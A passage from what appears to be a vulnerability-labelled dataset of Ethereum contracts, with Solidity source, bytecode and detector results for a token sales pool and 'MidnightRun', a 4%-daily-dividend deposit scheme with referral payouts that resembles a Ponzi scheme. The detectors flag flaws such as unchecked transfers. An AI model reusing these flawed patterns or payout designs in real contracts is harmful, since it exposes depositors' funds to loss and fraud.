e1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b336000908152602081905260408120548211156109de57600080fd5b600160a060020a03831615156109f357600080fd5b33600090815260208190526040902054610a13908363ffffffff610bb816565b3360009081526020819052604080822092909255600160a060020a03851681522054610a45908363ffffffff610bca16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610ad5908363ffffffff610bca16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610b4f57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bc457fe5b50900390565b81810182811015610bd757fe5b929150505600a165627a7a72305820103ab7a3a7fe1d180f2d47836ec4f5344f30bed3c6cbb56383e23d07fb75a4330029
{"success": true, "error": null, "results": {}}
7,202
0x51d0182ecb1e86ddf5c9cae72089d446bc2253b0
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; pragma experimental ABIEncoderV2; contract ERC20 { function balanceOf (address owner) public view returns (uint256); function allowance (address owner, address spender) public view returns (uint256); function transfer (address to, uint256 value) public returns (bool); function transferFrom (address from, address to, uint256 value) public returns (bool); function approve (address spender, uint256 value) public returns (bool); } contract SalesPool { using Math for uint256; address public owner; ERC20 public smartToken; Math.Fraction public tokenPrice; uint256 public pipeIndex = 1; mapping (uint256 => SalesPipe) public indexToPipe; mapping (address => uint256) public pipeToIndex; struct Commission { uint256 gt; uint256 lte; uint256 pa; } struct Commissions { Commission[] array; uint256 length; } uint256 termsIndex = 1; mapping (uint256 => Commissions) public terms; event CreateSalesPipe(address salesPipe); constructor ( address _smartTokenAddress, uint256 _priceNumerator, uint256 _priceDenominator ) public { owner = msg.sender; smartToken = ERC20(_smartTokenAddress); tokenPrice.numerator = _priceNumerator; tokenPrice.denominator = _priceDenominator; uint256 maxUint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935; terms[1].array.push(Commission(0 ether, 2000 ether, 5)); terms[1].array.push(Commission(2000 ether, 10000 ether, 8)); terms[1].array.push(Commission(10000 ether, maxUint256, 10)); terms[1].length = terms[1].array.length; terms[2].array.push(Commission(0 ether, maxUint256, 5)); terms[2].length = terms[2].array.length; terms[3].array.push(Commission(0 ether, maxUint256, 15)); terms[3].length = terms[3].array.length; termsIndex = 4; } function pushTerms (Commission[] _array) public { require(msg.sender == owner); for (uint256 i = 0; i < _array.length; i++) { terms[termsIndex].array.push(Commission(_array[i].gt, _array[i].lte, _array[i].pa)); } terms[termsIndex].length = terms[termsIndex].array.length; termsIndex++; } function createPipe ( uint256 _termsNumber, uint256 _allowance, bytes32 _secretHash ) public { require(msg.sender == owner); SalesPipe pipe = new SalesPipe(owner, _termsNumber, smartToken, _secretHash); address pipeAddress = address(pipe); smartToken.approve(pipeAddress, _allowance); indexToPipe[pipeIndex] = pipe; pipeToIndex[pipeAddress] = pipeIndex; pipeIndex++; emit CreateSalesPipe(pipeAddress); } function setSalesPipeAllowance (address _pipeAddress, uint256 _value) public { require(msg.sender == owner); smartToken.approve(_pipeAddress, _value); } function poolTokenAmount () public view returns (uint256) { return smartToken.balanceOf(address(this)); } function transferEther(address _to, uint256 _value) public { require(msg.sender == owner); _to.transfer(_value); } function transferToken(ERC20 erc20, address _to, uint256 _value) public { require(msg.sender == owner); erc20.transfer(_to, _value); } function setOwner (address _owner) public { require(msg.sender == owner); owner = _owner; } function setSmartToken(address _smartTokenAddress) public { require(msg.sender == owner); smartToken = ERC20(_smartTokenAddress); } function setTokenPrice(uint256 numerator, uint256 denominator) public { require(msg.sender == owner); require( numerator > 0 && denominator > 0 ); tokenPrice.numerator = numerator; tokenPrice.denominator = denominator; } function getTokenPrice () public view returns (uint256, uint256) { return (tokenPrice.numerator, tokenPrice.denominator); } function getCommissions (uint256 _termsNumber) public view returns (Commissions) { return terms[_termsNumber]; } function () payable external {} } contract SalesPipe { using Math for uint256; SalesPool public pool; address public owner; uint256 public termsNumber; ERC20 public smartToken; address public rf = address(0); bytes32 public secretHash; bool public available = true; bool public finalized = false; uint256 public totalEtherReceived = 0; event TokenPurchase( ERC20 indexed smartToken, address indexed buyer, address indexed receiver, uint256 value, uint256 amount ); event RFDeclare (address rf); event Finalize (uint256 fstkRevenue, uint256 rfReceived); constructor ( address _owner, uint256 _termsNumber, ERC20 _smartToken, bytes32 _secretHash ) public { pool = SalesPool(msg.sender); owner = _owner; termsNumber = _termsNumber; smartToken = _smartToken; secretHash = _secretHash; } function () external payable { Math.Fraction memory tokenPrice; (tokenPrice.numerator, tokenPrice.denominator) = pool.getTokenPrice(); address poolAddress = address(pool); uint256 availableAmount = Math.min( smartToken.allowance(poolAddress, address(this)), smartToken.balanceOf(poolAddress) ); uint256 revenue; uint256 purchaseAmount = msg.value.div(tokenPrice); require( available && finalized == false && availableAmount > 0 && purchaseAmount > 0 ); if (availableAmount >= purchaseAmount) { revenue = msg.value; if (availableAmount == purchaseAmount) { available = false; } } else { purchaseAmount = availableAmount; revenue = availableAmount.mulCeil(tokenPrice); available = false; msg.sender.transfer(msg.value - revenue); } smartToken.transferFrom(poolAddress, msg.sender, purchaseAmount); emit TokenPurchase(smartToken, msg.sender, msg.sender, revenue, purchaseAmount); totalEtherReceived += revenue; } function declareRF(string _secret) public { require( secretHash == keccak256(abi.encodePacked(_secret)) && rf == address(0) ); rf = msg.sender; emit RFDeclare(rf); } function finalize () public { require( msg.sender == owner && available == false && finalized == false && rf != address(0) ); finalized = true; address poolAddress = address(pool); uint256 rfEther = calculateCommission(address(this).balance, termsNumber); uint256 fstkEther = address(this).balance - rfEther; rf.transfer(rfEther); poolAddress.transfer(fstkEther); emit Finalize(fstkEther, rfEther); } function calculateCommission ( uint256 _totalReceivedEther, uint256 _termsNumber ) public view returns (uint256) { SalesPool.Commissions memory commissions = pool.getCommissions(_termsNumber); for (uint256 i = 0; i < commissions.length; i++) { SalesPool.Commission memory commission = commissions.array[i]; if (_totalReceivedEther > commission.gt && _totalReceivedEther <= commission.lte) { return _totalReceivedEther * commission.pa / 100; } } return 0; } function setOwner (address _owner) public { require(msg.sender == owner); owner = _owner; } function setTermsNumber (uint256 _termsNumber) public { require(msg.sender == owner); termsNumber = _termsNumber; } function setAvailability (bool _available) public { require(msg.sender == owner); available = _available; } } library Math { struct Fraction { uint256 numerator; uint256 denominator; } function isPositive(Fraction memory fraction) internal pure returns (bool) { return fraction.numerator > 0 && fraction.denominator > 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a * b; require((a == 0) || (r / a == b)); } function div(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a + b) >= a); } function min(uint256 x, uint256 y) internal pure returns (uint256 r) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 r) { return x >= y ? x : y; } function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { // try mul r = value * m; if (r / value == m) { // if mul not overflow r /= d; } else { // else div first r = mul(value / d, m); } } function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { // try mul r = value * m; if (r / value == m) { // mul not overflow if (r % d == 0) { r /= d; } else { r = (r / d) + 1; } } else { // mul overflow then div first r = mul(value / d, m); if (value % d != 0) { r += 1; } } } function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.numerator, f.denominator); } function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.numerator, f.denominator); } function div(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.denominator, f.numerator); } function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.denominator, f.numerator); } function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { return Math.Fraction({ numerator: mul(x.numerator, y.numerator), denominator: mul(x.denominator, y.denominator) }); } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166313af403581146104e257806316f0115b1461050457806326a183751461052f57806348a0d7541461054f5780634bb278f3146105715780637ef3e741146105865780638da5cb5b146105a857806399b55343146105ca578063b3f05b97146105df578063bac506e0146105f4578063c3e8fb4014610609578063d18b07b21461061e578063d29e68031461063e578063e249a57514610653578063f056a5c714610673575b6100e2610d36565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634b94f50e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401604080518083038186803b15801561016a57600080fd5b505afa15801561017e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101a29190810190611086565b602087015285526000546003546040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283169650610308929091169063dd62ed3e9061020d90889030906004016110ee565b60206040518083038186803b15801561022557600080fd5b505afa158015610239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061025d919081019061102e565b6003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a08231906102b39089906004016110e0565b60206040518083038186803b1580156102cb57600080fd5b505afa1580156102df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610303919081019061102e565b610693565b925061031a348663ffffffff6106ae16565b60065490915060ff1680156103375750600654610100900460ff16155b80156103435750600083115b801561034f5750600081115b151561035a57600080fd5b80831061037c5734915080831415610377576006805460ff191690555b6103cc565b508161038e818663ffffffff6106c316565b6006805460ff1916905560405190925033903484900380156108fc02916000818181858888f193505050501580156103ca573d6000803e3d6000fd5b505b6003546040517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd9061042690879033908690600401611109565b602060405180830381600087803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506104789190810190610f88565b506003546040513391829173ffffffffffffffffffffffffffffffffffffffff909116907fd1508eb33cb2ff0cd96cf67f00ab2c6b7fc5142d97832add4b29748b29111024906104cb908790879061115b565b60405180910390a450600780549091019055505050005b3480156104ee57600080fd5b506105026104fd366004610f44565b6106d8565b005b34801561051057600080fd5b50610519610738565b604051610526919061114d565b60405180910390f35b34801561053b57600080fd5b5061050261054a366004610f6a565b610754565b34801561055b57600080fd5b5061056461078b565b6040516105269190611131565b34801561057d57600080fd5b50610502610794565b34801561059257600080fd5b5061059b610914565b604051610526919061113f565b3480156105b457600080fd5b506105bd61091a565b60405161052691906110e0565b3480156105d657600080fd5b5061059b610936565b3480156105eb57600080fd5b5061056461093c565b34801561060057600080fd5b506105bd61094a565b34801561061557600080fd5b50610519610966565b34801561062a57600080fd5b5061059b61063936600461104c565b610982565b34801561064a57600080fd5b5061059b610ab4565b34801561065f57600080fd5b5061050261066e366004611010565b610aba565b34801561067f57600080fd5b5061050261068e366004610fa6565b610ae3565b6000818311156106a357816106a5565b825b90505b92915050565b60006106a58383602001518460000151610c4c565b60006106a58383600001518460200151610c94565b60015473ffffffffffffffffffffffffffffffffffffffff1633146106fc57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff16331461077857600080fd5b6006805460ff1916911515919091179055565b60065460ff1681565b6001546000908190819073ffffffffffffffffffffffffffffffffffffffff16331480156107c5575060065460ff16155b80156107d95750600654610100900460ff16155b80156107fc575060045473ffffffffffffffffffffffffffffffffffffffff1615155b151561080757600080fd5b6006805461ff00191661010017905560005460025473ffffffffffffffffffffffffffffffffffffffff909116935061084290303190610982565b6004546040519193503031849003925073ffffffffffffffffffffffffffffffffffffffff169083156108fc029084906000818181858888f19350505050158015610891573d6000803e3d6000fd5b5060405173ffffffffffffffffffffffffffffffffffffffff84169082156108fc029083906000818181858888f193505050501580156108d5573d6000803e3d6000fd5b507f9d3cb3e4bff976f636db6ed472093505eb1b5bafc234ea8276ae83b3ea0a8b74818360405161090792919061115b565b60405180910390a1505050565b60075481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600654610100900460ff1681565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b600061098c610d4d565b6000610996610d65565b6000546040517f1a88cc3100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690631a88cc31906109ec90889060040161113f565b60006040518083038186803b158015610a0457600080fd5b505afa158015610a18573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a409190810190610fdb565b9250600091505b8260200151821015610aa6578251805183908110610a6157fe5b906020019060200201519050806000015186118015610a84575080602001518611155b15610a9b5760408101516064908702049350610aab565b600190910190610a47565b600093505b50505092915050565b60055481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ade57600080fd5b600255565b806040516020018082805190602001908083835b60208310610b165780518252601f199092019160209182019101610af7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610b795780518252601f199092019160209182019101610b5a565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091206005541492505081159050610bcd575060045473ffffffffffffffffffffffffffffffffffffffff16155b1515610bd857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff19163317908190556040517fc99430857c2cdea7c71b0bfb21f2f52a058e57959289dd417b68de4c9368b5e791610c419173ffffffffffffffffffffffffffffffffffffffff91909116906110e0565b60405180910390a150565b828202828482811515610c5b57fe5b041415610c75578181811515610c6d57fe5b049050610c8d565b610c8a8285811515610c8357fe5b0484610d11565b90505b9392505050565b828202828482811515610ca357fe5b041415610ce6578181811515610cb557fe5b061515610ccf578181811515610cc757fe5b049050610ce1565b8181811515610cda57fe5b0460010190505b610c8d565b610cf48285811515610c8357fe5b90508184811515610d0157fe5b0615610c8d576001019392505050565b818102821580610d2b5750818382811515610d2857fe5b04145b15156106a857600080fd5b604080518082019091526000808252602082015290565b60408051808201909152606081526000602082015290565b6060604051908101604052806000815260200160008152602001600081525090565b60006106a582356111e6565b6000601f82018313610da457600080fd5b8151610db7610db28261119d565b611176565b91508181835260208401935060208101905083856060840282011115610ddc57600080fd5b60005b83811015610e0a5781610df28882610e72565b84525060209092019160609190910190600101610ddf565b5050505092915050565b60006106a582356111ff565b60006106a582516111ff565b6000601f82018313610e3d57600080fd5b8135610e4b610db2826111be565b91508082526020830160208301858383011115610e6757600080fd5b610aab838284611212565b600060608284031215610e8457600080fd5b610e8e6060611176565b90506000610e9c8484610f38565b8252506020610ead84848301610f38565b6020830152506040610ec184828501610f38565b60408301525092915050565b600060408284031215610edf57600080fd5b610ee96040611176565b825190915067ffffffffffffffff811115610f0357600080fd5b610f0f84828501610d93565b8252506020610f2084848301610f38565b60208301525092915050565b60006106a58235611204565b60006106a58251611204565b600060208284031215610f5657600080fd5b6000610f628484610d87565b949350505050565b600060208284031215610f7c57600080fd5b6000610f628484610e14565b600060208284031215610f9a57600080fd5b6000610f628484610e20565b600060208284031215610fb857600080fd5b813567ffffffffffffffff811115610fcf57600080fd5b610f6284828501610e2c565b600060208284031215610fed57600080fd5b815167ffffffffffffffff81111561100457600080fd5b610f6284828501610ecd565b60006020828403121561102257600080fd5b6000610f628484610f2c565b60006020828403121561104057600080fd5b6000610f628484610f38565b6000806040838503121561105f57600080fd5b600061106b8585610f2c565b925050602061107c85828601610f2c565b9150509250929050565b6000806040838503121561109957600080fd5b60006110a58585610f38565b925050602061107c85828601610f38565b6110bf816111e6565b82525050565b6110bf816111ff565b6110bf81611204565b6110bf81611207565b602081016106a882846110b6565b604081016110fc82856110b6565b610c8d60208301846110b6565b6060810161111782866110b6565b61112460208301856110b6565b610f6260408301846110ce565b602081016106a882846110c5565b602081016106a882846110ce565b602081016106a882846110d7565b6040810161116982856110ce565b610c8d60208301846110ce565b60405181810167ffffffffffffffff8111828210171561119557600080fd5b604052919050565b600067ffffffffffffffff8211156111b457600080fd5b5060209081020190565b600067ffffffffffffffff8211156111d557600080fd5b506020601f91909101601f19160190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b90565b60006106a8826111e6565b828183375060009101525600a265627a7a723058205499b79809a25ecb6ffb0019f627b1acafae1b2efadd0de2a0c271576f2c346f6c6578706572696d656e74616cf50037
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,203
0xfa9eaf022f8d501a3d4bd4c5f8cb034cd333c2d5
pragma solidity ^0.4.24; contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MidnightRun is Ownable { using SafeMath for uint; modifier isHuman() { uint32 size; address investor = msg.sender; assembly { size: = extcodesize(investor) } if (size > 0) { revert("Inhuman"); } _; } event DailyDividendPayout(address indexed _address, uint value, uint periodCount, uint percent, uint time); event ReferralPayout(address indexed _addressFrom, address indexed _addressTo, uint value, uint percent, uint time); event MidnightRunPayout(address indexed _address, uint value, uint totalValue, uint userValue, uint time); uint public period = 24 hours; uint public startTime = 1538002800; // Tue, 26 Sep 2018 23:00:00 +0000 UTC uint public dailyDividendPercent = 400; //4% uint public referredDividendPercent = 430; //4.3% uint public referrerPercent = 250; //2.5% uint public minBetLevel = 0.01 ether; uint public referrerAndOwnerPercent = 2000; //20% uint public currentStakeID = 1; struct DepositInfo { uint value; uint firstBetTime; uint lastBetTime; uint lastPaymentTime; uint nextPayAfterTime; bool isExist; uint id; uint referrerID; } mapping(address => DepositInfo) public investorToDepostIndex; mapping(uint => address) public idToAddressIndex; // Jackpot uint public midnightPrizePercent = 1000; //10% uint public midnightPrize = 0; uint public nextPrizeTime = startTime + period; uint public currentPrizeStakeID = 0; struct MidnightRunDeposit { uint value; address user; } mapping(uint => MidnightRunDeposit) public stakeIDToDepositIndex; /** * Constructor no need for unnecessary work in here. */ constructor() public { } /** * Fallback and entrypoint for deposits. */ function() public payable isHuman { if (msg.value == 0) { collectPayoutForAddress(msg.sender); } else { uint refId = 1; address referrer = bytesToAddress(msg.data); if (investorToDepostIndex[referrer].isExist) { refId = investorToDepostIndex[referrer].id; } deposit(refId); } } /** * Reads the given bytes into an addtress */ function bytesToAddress(bytes bys) private pure returns(address addr) { assembly { addr: = mload(add(bys, 20)) } } /** * Put some funds into the contract for the prize */ function addToMidnightPrize() public payable onlyOwner { midnightPrize += msg.value; } /** * Get the time of the next payout - calculated */ function getNextPayoutTime() public view returns(uint) { if (now<startTime) return startTime + period; return startTime + ((now.sub(startTime)).div(period)).mul(period) + period; } /** * Make a deposit into the contract */ function deposit(uint _referrerID) public payable isHuman { require(_referrerID <= currentStakeID, "Who referred you?"); require(msg.value >= minBetLevel, "Doesn't meet minimum stake."); // when is next midnight ? uint nextPayAfterTime = getNextPayoutTime(); if (investorToDepostIndex[msg.sender].isExist) { if (investorToDepostIndex[msg.sender].nextPayAfterTime < now) { collectPayoutForAddress(msg.sender); } investorToDepostIndex[msg.sender].value += msg.value; investorToDepostIndex[msg.sender].lastBetTime = now; } else { DepositInfo memory newDeposit; newDeposit = DepositInfo({ value: msg.value, firstBetTime: now, lastBetTime: now, lastPaymentTime: 0, nextPayAfterTime: nextPayAfterTime, isExist: true, id: currentStakeID, referrerID: _referrerID }); investorToDepostIndex[msg.sender] = newDeposit; idToAddressIndex[currentStakeID] = msg.sender; currentStakeID++; } if (now > nextPrizeTime) { doMidnightRun(); } currentPrizeStakeID++; MidnightRunDeposit memory midnitrunDeposit; midnitrunDeposit.user = msg.sender; midnitrunDeposit.value = msg.value; stakeIDToDepositIndex[currentPrizeStakeID] = midnitrunDeposit; // contribute to the Midnight Run Prize midnightPrize += msg.value.mul(midnightPrizePercent).div(10000); // Is there a referrer to be paid? if (investorToDepostIndex[msg.sender].referrerID != 0) { uint refToPay = msg.value.mul(referrerPercent).div(10000); // Referral Fee idToAddressIndex[investorToDepostIndex[msg.sender].referrerID].transfer(refToPay); // Team and advertising fee owner().transfer(msg.value.mul(referrerAndOwnerPercent - referrerPercent).div(10000)); emit ReferralPayout(msg.sender, idToAddressIndex[investorToDepostIndex[msg.sender].referrerID], refToPay, referrerPercent, now); } else { // Team and advertising fee owner().transfer(msg.value.mul(referrerAndOwnerPercent).div(10000)); } } /** * Collect payout for the msg.sender */ function collectPayout() public isHuman { collectPayoutForAddress(msg.sender); } /** * Collect payout for the given address */ function getRewardForAddress(address _address) public onlyOwner { collectPayoutForAddress(_address); } /** * */ function collectPayoutForAddress(address _address) internal { require(investorToDepostIndex[_address].isExist == true, "Who are you?"); require(investorToDepostIndex[_address].nextPayAfterTime < now, "Not yet."); uint periodCount = now.sub(investorToDepostIndex[_address].nextPayAfterTime).div(period).add(1); uint percent = dailyDividendPercent; if (investorToDepostIndex[_address].referrerID > 0) { percent = referredDividendPercent; } uint toPay = periodCount.mul(investorToDepostIndex[_address].value).div(10000).mul(percent); investorToDepostIndex[_address].lastPaymentTime = now; investorToDepostIndex[_address].nextPayAfterTime += periodCount.mul(period); // protect contract - this could result in some bad luck - but not much if (toPay.add(midnightPrize) < address(this).balance.sub(msg.value)) { _address.transfer(toPay); emit DailyDividendPayout(_address, toPay, periodCount, percent, now); } } /** * Perform the Midnight Run */ function doMidnightRun() public isHuman { require(now>nextPrizeTime , "Not yet"); // set the next prize time to the next payout time (MidnightRun) nextPrizeTime = getNextPayoutTime(); if (currentPrizeStakeID > 5) { uint toPay = midnightPrize; midnightPrize = 0; if (toPay > address(this).balance){ toPay = address(this).balance; } uint totalValue = stakeIDToDepositIndex[currentPrizeStakeID].value + stakeIDToDepositIndex[currentPrizeStakeID - 1].value + stakeIDToDepositIndex[currentPrizeStakeID - 2].value + stakeIDToDepositIndex[currentPrizeStakeID - 3].value + stakeIDToDepositIndex[currentPrizeStakeID - 4].value; stakeIDToDepositIndex[currentPrizeStakeID].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID].value, now); stakeIDToDepositIndex[currentPrizeStakeID - 1].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 1].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 1].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 1].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 1].value, now); stakeIDToDepositIndex[currentPrizeStakeID - 2].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 2].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 2].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 2].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 2].value, now); stakeIDToDepositIndex[currentPrizeStakeID - 3].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 3].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 3].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 3].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 3].value, now); stakeIDToDepositIndex[currentPrizeStakeID - 4].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 4].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 4].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 4].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 4].value, now); } } } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
0x60806040526004361061013d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630dba240081146102385780633a6dc128146102425780633d32a6cf1461027b57806349c53b2d146102a2578063636d98b1146102b757806371d007cd146102cc57806378e97925146103005780638da5cb5b146103155780638f32d59b1461032a57806392285a1a146103535780639dad2d6214610368578063aac7df661461037d578063aad4482514610392578063b6b55f25146103b3578063beae2aaf146103be578063c1071657146103d3578063c629cdf414610437578063df1836ca1461044c578063eeedb8e214610461578063ef78d4fd14610476578063f2fde38b1461048b578063f3ab2c6d146104ac578063f5486860146104c1578063fafbb9a3146104d6575b60008033803b9063ffffffff8216831015610190576040805160e560020a62461bcd02815260206004820152600760248201526000805160206115c0833981519152604482015290519081900360640190fd5b3415156101a5576101a0336104eb565b610232565b600193506101e36000368080601f016020809104026020016040519081016040528093929190818152602001838380828437506107b3945050505050565b600160a060020a03811660009081526009602052604090206005015490935060ff161561022957600160a060020a03831660009081526009602052604090206006015493505b610232846107ba565b50505050005b610240610ca0565b005b34801561024e57600080fd5b5061025a600435610cbd565b60408051928352600160a060020a0390911660208301528051918290030190f35b34801561028757600080fd5b50610290610cdf565b60408051918252519081900360200190f35b3480156102ae57600080fd5b50610240610ce5565b3480156102c357600080fd5b506102906112b6565b3480156102d857600080fd5b506102e46004356112bc565b60408051600160a060020a039092168252519081900360200190f35b34801561030c57600080fd5b506102906112d7565b34801561032157600080fd5b506102e46112dd565b34801561033657600080fd5b5061033f6112ed565b604080519115158252519081900360200190f35b34801561035f57600080fd5b506102906112fe565b34801561037457600080fd5b50610290611304565b34801561038957600080fd5b5061029061130a565b34801561039e57600080fd5b50610240600160a060020a0360043516611310565b6102406004356107ba565b3480156103ca57600080fd5b5061029061132f565b3480156103df57600080fd5b506103f4600160a060020a0360043516611335565b6040805198895260208901979097528787019590955260608701939093526080860191909152151560a085015260c084015260e083015251908190036101000190f35b34801561044357600080fd5b5061024061137c565b34801561045857600080fd5b506102906113da565b34801561046d57600080fd5b506102906113e0565b34801561048257600080fd5b506102906113e6565b34801561049757600080fd5b50610240600160a060020a03600435166113ec565b3480156104b857600080fd5b50610290611408565b3480156104cd57600080fd5b5061029061140e565b3480156104e257600080fd5b50610290611414565b600160a060020a0381166000908152600960205260408120600501548190819060ff161515600114610567576040805160e560020a62461bcd02815260206004820152600c60248201527f57686f2061726520796f753f0000000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03841660009081526009602052604090206004015442116105d9576040805160e560020a62461bcd02815260206004820152600860248201527f4e6f74207965742e000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60018054600160a060020a03861660009081526009602052604090206004015461062b929161061f9161061390429063ffffffff61145b16565b9063ffffffff61147916565b9063ffffffff61149c16565b600354600160a060020a038616600090815260096020526040812060070154929550909350101561065c5760045491505b600160a060020a0384166000908152600960205260409020546106a0908390610694906127109061061390889063ffffffff6114b516565b9063ffffffff6114b516565b600160a060020a0385166000908152600960205260409020426003909101556001549091506106d690849063ffffffff6114b516565b600160a060020a03851660009081526009602052604090206004018054909101905561070930313463ffffffff61145b16565b600c5461071d90839063ffffffff61149c16565b10156107ad57604051600160a060020a0385169082156108fc029083906000818181858888f19350505050158015610759573d6000803e3d6000fd5b5060408051828152602081018